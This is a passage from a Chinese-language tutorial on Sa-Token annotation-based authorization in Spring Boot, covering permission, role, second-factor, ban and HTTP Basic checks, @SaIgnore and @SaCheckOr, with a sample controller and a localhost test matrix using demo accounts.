class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 权限码校验（单权限）：必须拥有 user:add 权限</span></span><br><span class="line"><span class="meta">@SaCheckPermission(&quot;user:add&quot;)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/canAddUser&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">canAddUser</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;你拥有用户新增权限&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 权限码校验（多权限 AND 模式，默认）：必须同时拥有 user:add 和 user:delete</span></span><br><span class="line"><span class="meta">@SaCheckPermission(&#123;&quot;user:add&quot;, &quot;user:delete&quot;&#125;)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/canAddAndDeleteUser&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">canAddAndDeleteUser</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;你同时拥有用户新增和删除权限&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 权限码校验（多权限 OR 模式）：拥有 user:add 或 user:delete 任一即可</span></span><br><span class="line"><span class="meta">@SaCheckPermission(value = &#123;&quot;user:add&quot;, &quot;user:delete&quot;&#125;, mode = SaMode.OR)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/canAddOrDeleteUser&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">canAddOrDeleteUser</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;你拥有用户新增或删除权限&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong><code>orRole</code>：角色权限双重 OR 校验</strong></p><p>假设有这样的业务场景：接口在&quot;拥有 <code>user:add</code> 权限&quot;或&quot;拥有 <code>admin</code> 角色&quot;时均可访问。<code>@SaCheckPermission</code> 提供了 <code>orRole</code> 参数来处理这种跨类型 OR 条件，比嵌套 <code>@SaCheckOr</code> 更简洁：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 拥有 user:add 权限，或者拥有 admin 角色，满足其一即可</span></span><br><span class="line"><span class="meta">@SaCheckPermission(value = &quot;user:add&quot;, orRole = &quot;admin&quot;)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/addUserOrAdmin&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">addUserOrAdmin</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;通过权限或角色校验&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>orRole</code> 有三种写法，分别对应不同的角色逻辑：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 写法一：需要拥有 admin 角色</span></span><br><span class="line"><span class="meta">@SaCheckPermission(value = &quot;user:add&quot;, orRole = &quot;admin&quot;)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 写法二：拥有 admin、manager、staff 三个角色中的任意一个即可（OR 关系）</span></span><br><span class="line"><span class="meta">@SaCheckPermission(value = &quot;user:add&quot;, orRole = &#123;&quot;admin&quot;, &quot;manager&quot;, &quot;staff&quot;&#125;)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 写法三：必须同时拥有 admin、manager、staff 三个角色（AND 关系）</span></span><br><span class="line"><span class="comment">// 注意：写法三是把三个角色写在同一个字符串里，逗号在同一元素内部</span></span><br><span class="line"><span class="meta">@SaCheckPermission(value = &quot;user:add&quot;, orRole = &#123;&quot;admin, manager, staff&quot;&#125;)</span></span><br></pre></td></tr></table></figure><p>写法二和写法三的区别在于<strong>数组元素的数量</strong>：多个元素是 OR 关系，单个元素内部用逗号分隔是 AND 关系。</p><hr><h3 id="2-3-4-SaCheckSafe：二级认证校验">2.3.4. <code>@SaCheckSafe</code>：二级认证校验</h3><p>校验当前会话是否已完成二级认证，番外篇二第七章中已详细讲解：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 必须通过默认二级认证才能访问</span></span><br><span class="line"><span class="meta">@SaCheckSafe</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/safeRequired&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">safeRequired</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;通过二级认证&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 必须通过指定业务标识的二级认证才能访问</span></span><br><span class="line"><span class="meta">@SaCheckSafe(&quot;delete-project&quot;)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/safeDeleteProject&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">safeDeleteProject</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;通过删除项目的二级认证&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="2-3-5-SaCheckDisable：账号封禁服务校验">2.3.5. <code>@SaCheckDisable</code>：账号封禁服务校验</h3><p>校验当前账号是否被封禁指定服务，番外篇二第六章中已详细讲解：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 校验当前账号是否被封禁（无服务标识，校验整体封禁）</span></span><br><span class="line"><span class="meta">@SaCheckDisable</span></span><br><span class="line"><span class="meta">@PostMapping(&quot;/send&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">send</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;消息发送成功&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 校验当前账号的 comment 服务是否被封禁</span></span><br><span class="line"><span class="meta">@SaCheckDisable(&quot;comment&quot;)</span></span><br><span class="line"><span class="meta">@PostMapping(&quot;/comment&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">comment</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;评论发布成功&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 同时校验多个服务，任意一个被封禁就无法进入方法</span></span><br><span class="line"><span class="meta">@SaCheckDisable(&#123;&quot;comment&quot;, &quot;place-order&quot;, &quot;open-shop&quot;&#125;)</span></span><br><span class="line"><span class="meta">@PostMapping(&quot;/multiCheck&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">multiCheck</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;多服务校验通过&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="2-3-6-SaCheckHttpBasic-SaCheckHttpDigest：HTTP-认证校验">2.3.6. <code>@SaCheckHttpBasic</code> / <code>@SaCheckHttpDigest</code>：HTTP 认证校验</h3><p>用于需要 HTTP Basic 或 HTTP Digest 认证的接口，常见于内部 API 或监控端点：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 只有通过 Http Basic 认证后才能进入该方法</span></span><br><span class="line"><span class="comment">// account 格式为 &quot;用户名:密码&quot;</span></span><br><span class="line"><span class="meta">@SaCheckHttpBasic(account = &quot;sa:123456&quot;)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/basicAuth&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">basicAuth</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;通过 Http Basic 认证&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 只有通过 Http Digest 认证后才能进入该方法</span></span><br><span class="line"><span class="meta">@SaCheckHttpDigest(value = &quot;sa:123456&quot;)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/digestAuth&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">digestAuth</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;通过 Http Digest 认证&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这两个注解与 Token 体系无关，是独立的 HTTP 协议层认证，通常用于保护不需要完整登录流程的运维接口。</p><hr><h3 id="2-3-7-SaCheckSign：API-签名校验">2.3.7. <code>@SaCheckSign</code>：API 签名校验</h3><p>用于跨系统调用的接口签名验证，属于 Sa-Token 扩展能力，本系列不展开讲解，了解存在即可：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 校验 API 签名参数，用于跨系统的接口调用验证</span></span><br><span class="line"><span class="meta">@SaCheckSign</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/apiSign&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">apiSign</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;API 签名校验通过&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="2-3-8-SaIgnore：忽略所有校验">2.3.8. <code>@SaIgnore</code>：忽略所有校验</h3><p><code>@SaIgnore</code> 是优先级最高的注解——当它出现时，所有其他鉴权注解和路由拦截器规则都会被忽略，请求直接进入方法：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 整个类需要登录才能访问</span></span><br><span class="line"><span class="meta">@SaCheckLogin</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/user&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 但这个接口单独加了 @SaIgnore，可以游客访问</span></span><br><span class="line">    <span class="meta">@SaIgnore</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/getList&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">getList</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;游客可访问的列表&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 其他方法仍然需要登录</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/info&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">info</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;登录才能查看的信息&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>@SaIgnore</code> 的几个重要特性：</p><ul><li>修饰<strong>方法</strong>时：只有这个方法可以游客访问，类上的其他注解对此方法无效。</li><li>修饰<strong>类</strong>时：这个类下所有接口都可以游客访问。</li><li>具有<strong>最高优先级</strong>：与其他鉴权注解同时出现时，其他注解全部被忽略。</li><li>同样可以忽略掉<strong>路由拦截器的规则</strong>（第三章会演示）。</li></ul><div class="note warning simple"><p><code>@SaIgnore</code> 的忽略效果只针对 <code>SaInterceptor</code> 拦截器和 AOP 注解鉴权生效，对自定义拦截器与 Spring Security 等第三方过滤器无效。</p></div><hr><h2 id="2-4-多注解叠加-AND-关系">2.4. 多注解叠加 = AND 关系</h2><p>当一个方法上写了多个鉴权注解时，它们之间天然是 <strong>AND</strong> 关系——必须全部满足，才能进入方法，只要有一个不满足就抛出异常：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 必须同时满足：已登录 + 拥有 admin 角色 + 拥有 user:add 权限</span></span><br><span class="line"><span class="meta">@SaCheckLogin</span></span><br><span class="line"><span class="meta">@SaCheckRole(&quot;admin&quot;)</span></span><br><span class="line"><span class="meta">@SaCheckPermission(&quot;user:add&quot;)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/strictControl&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">strictControl</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;三重校验通过&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这也解释了为什么 Sa-Token 没有提供 <code>@SaCheckAnd</code> 注解——多注解叠加本身就是 AND 语义，不需要额外的注解来声明。</p><hr><h2 id="2-5-SaCheckOr：批量-OR-校验">2.5. <code>@SaCheckOr</code>：批量 OR 校验</h2><p>当需要&quot;多个条件满足其一即可&quot;的 OR 逻辑，且条件跨越不同注解类型时，使用 <code>@SaCheckOr</code>：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 满足以下任意一个条件即可进入方法：</span></span><br><span class="line"><span class="comment">// - 已登录（@SaCheckLogin）</span></span><br><span class="line"><span class="comment">// - 拥有 admin 角色（@SaCheckRole）</span></span><br><span class="line"><span class="comment">// - 拥有 user:add 权限（@SaCheckPermission）</span></span><br><span class="line"><span class="comment">// - 已完成二级认证（@SaCheckSafe）</span></span><br><span class="line"><span class="comment">// - 通过 Http Basic 认证（@SaCheckHttpBasic）</span></span><br><span class="line"><span class="meta">@SaCheckOr(</span></span><br><span class="line"><span class="meta">        login      = @SaCheckLogin,</span></span><br><span class="line"><span class="meta">        role       = @SaCheckRole(&quot;admin&quot;),</span></span><br><span class="line"><span class="meta">        permission = @SaCheckPermission(&quot;user:add&quot;),</span></span><br><span class="line"><span class="meta">        safe       = @SaCheckSafe(&quot;update-password&quot;),</span></span><br><span class="line"><span class="meta">        httpBasic  = @SaCheckHttpBasic(account = &quot;sa:123456&quot;),</span></span><br><span class="line"><span class="meta">        disable    = @SaCheckDisable(&quot;submit-orders&quot;)</span></span><br><span class="line"><span class="meta">)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/orCheck&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">orCheck</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;通过 OR 校验&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>每一项属性都可以写成<strong>数组形式</strong>，数组内部的多个元素之间是 OR 关系：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 只要有 login 类型账号登录，或者有 user 类型账号登录，任一满足即可通过</span></span><br><span class="line"><span class="comment">// （注意 type 属性涉及多账号模式，是番外篇四的内容，此处了解写法即可）</span></span><br><span class="line"><span class="meta">@SaCheckOr(</span></span><br><span class="line"><span class="meta">    login = &#123; @SaCheckLogin(type = &quot;login&quot;), @SaCheckLogin(type = &quot;user&quot;) &#125;</span></span><br><span class="line"><span class="meta">)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/multiTypeLogin&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">multiTypeLogin</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;通过多账号类型 OR 校验&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong><code>append</code> 字段</strong>：用于追加扩展包中的注解，将它们纳入 OR 逻辑：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 通过登录校验，或者提供了正确的 ApiKey，满足其一即可</span></span><br><span class="line"><span class="meta">@SaCheckOr(login = @SaCheckLogin, append = &#123; SaCheckApiKey.class &#125;)</span></span><br><span class="line"><span class="meta">@SaCheckApiKey</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/loginOrApiKey&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">loginOrApiKey</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;通过登录或 ApiKey 校验&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>append</code> 字段接收的是注解类型的 Class 数组，被追加的注解同时也需要写在方法上，<code>@SaCheckOr</code> 会在运行时读取这些注解的具体参数进行校验。</p><hr><h2 id="2-6-完整的-PermissionController">2.6. 完整的 PermissionController</h2><p>将前面所有演示整合到一个控制器中：</p><p>📄 <code>src/main/java/com/example/authsatoken/controller/PermissionController.java</code>（完整版）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.authsatoken.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.annotation.*;</span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.util.SaResult;</span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.util.SaMode;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.GetMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RestController;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 注解鉴权演示控制器</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * 测试账号与权限对照（来自 StpInterfaceImpl）：</span></span><br><span class="line"><span class="comment"> *   admin / 123456  → userId=10001 → admin 角色 → user:add / user:delete / user:update / user:view</span></span><br><span class="line"><span class="comment"> *   user  / 123456  → userId=10002 → user  角色 → user:view / article:view</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/permission&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PermissionController</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@SaCheckLogin</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/loginRequired&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">loginRequired</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;已通过登录校验&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@SaCheckRole(&quot;admin&quot;)</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/adminOnly&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">adminOnly</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;你拥有 admin 角色&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@SaCheckRole(value = &#123;&quot;admin&quot;, &quot;user&quot;&#125;, mode = SaMode.OR)</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/adminOrUser&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">adminOrUser</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;你拥有 admin 或 user 角色&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@SaCheckPermission(&quot;user:add&quot;)</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/canAddUser&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">canAddUser</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;你拥有用户新增权限&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@SaCheckPermission(&#123;&quot;user:add&quot;, &quot;user:delete&quot;&#125;)</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/canAddAndDeleteUser&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">canAddAndDeleteUser</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;你同时拥有用户新增和删除权限&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@SaCheckPermission(value = &#123;&quot;user:add&quot;, &quot;user:delete&quot;&#125;, mode = SaMode.OR)</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/canAddOrDeleteUser&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">canAddOrDeleteUser</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;你拥有用户新增或删除权限&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@SaCheckPermission(value = &quot;user:delete&quot;, orRole = &quot;admin&quot;)</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/deleteOrAdmin&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">deleteOrAdmin</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;通过权限或角色 OR 校验&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@SaCheckOr(</span></span><br><span class="line"><span class="meta">            role       = @SaCheckRole(&quot;admin&quot;),</span></span><br><span class="line"><span class="meta">            permission = @SaCheckPermission(&quot;user:delete&quot;)</span></span><br><span class="line"><span class="meta">    )</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/adminOrCanDelete&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">adminOrCanDelete</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;你是管理员，或者拥有用户删除权限&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="2-7-测试验证：双账号对比矩阵">2.7. 测试验证：双账号对比矩阵</h2><p>重启项目，用两个账号分别登录，测试各接口的实际表现。</p><p><strong>准备工作：分别获取两个账号的 Token</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST http://localhost:8081/auth/login?username=admin&amp;password=123456</span><br><span class="line">POST http://localhost:8081/auth/login?username=user&amp;password=123456</span><br></pre></td></tr></table></figure><p>分别记录 Token-A（admin）和 Token-U（user）。</p><p><strong>场景：未登录访问需要登录的接口（验证 401）</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET http://localhost:8081/permission/loginRequired</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span> <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">401</span><span class="punctuation">,</span> <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;未提供 Token，请先登录&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span> <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>场景：user 账号访问 adminOnly（验证 403）</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET http://localhost:8081/permission/adminOnly</span><br><span class="line">Header: satoken: &lt;Token-U&gt;</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span> <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">403</span><span class="punctuation">,</span> <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;权限不足，缺少角色：admin&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span> <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>以下是完整的双账号测试矩阵：</p><table><thead><tr><th>接口</th><th>admin</th><th>user</th><th>未登录</th></tr></thead><tbody><tr><td><code>/permission/loginRequired</code></td><td>✅ 200</td><td>✅ 200</td><td>❌ 401 未提供 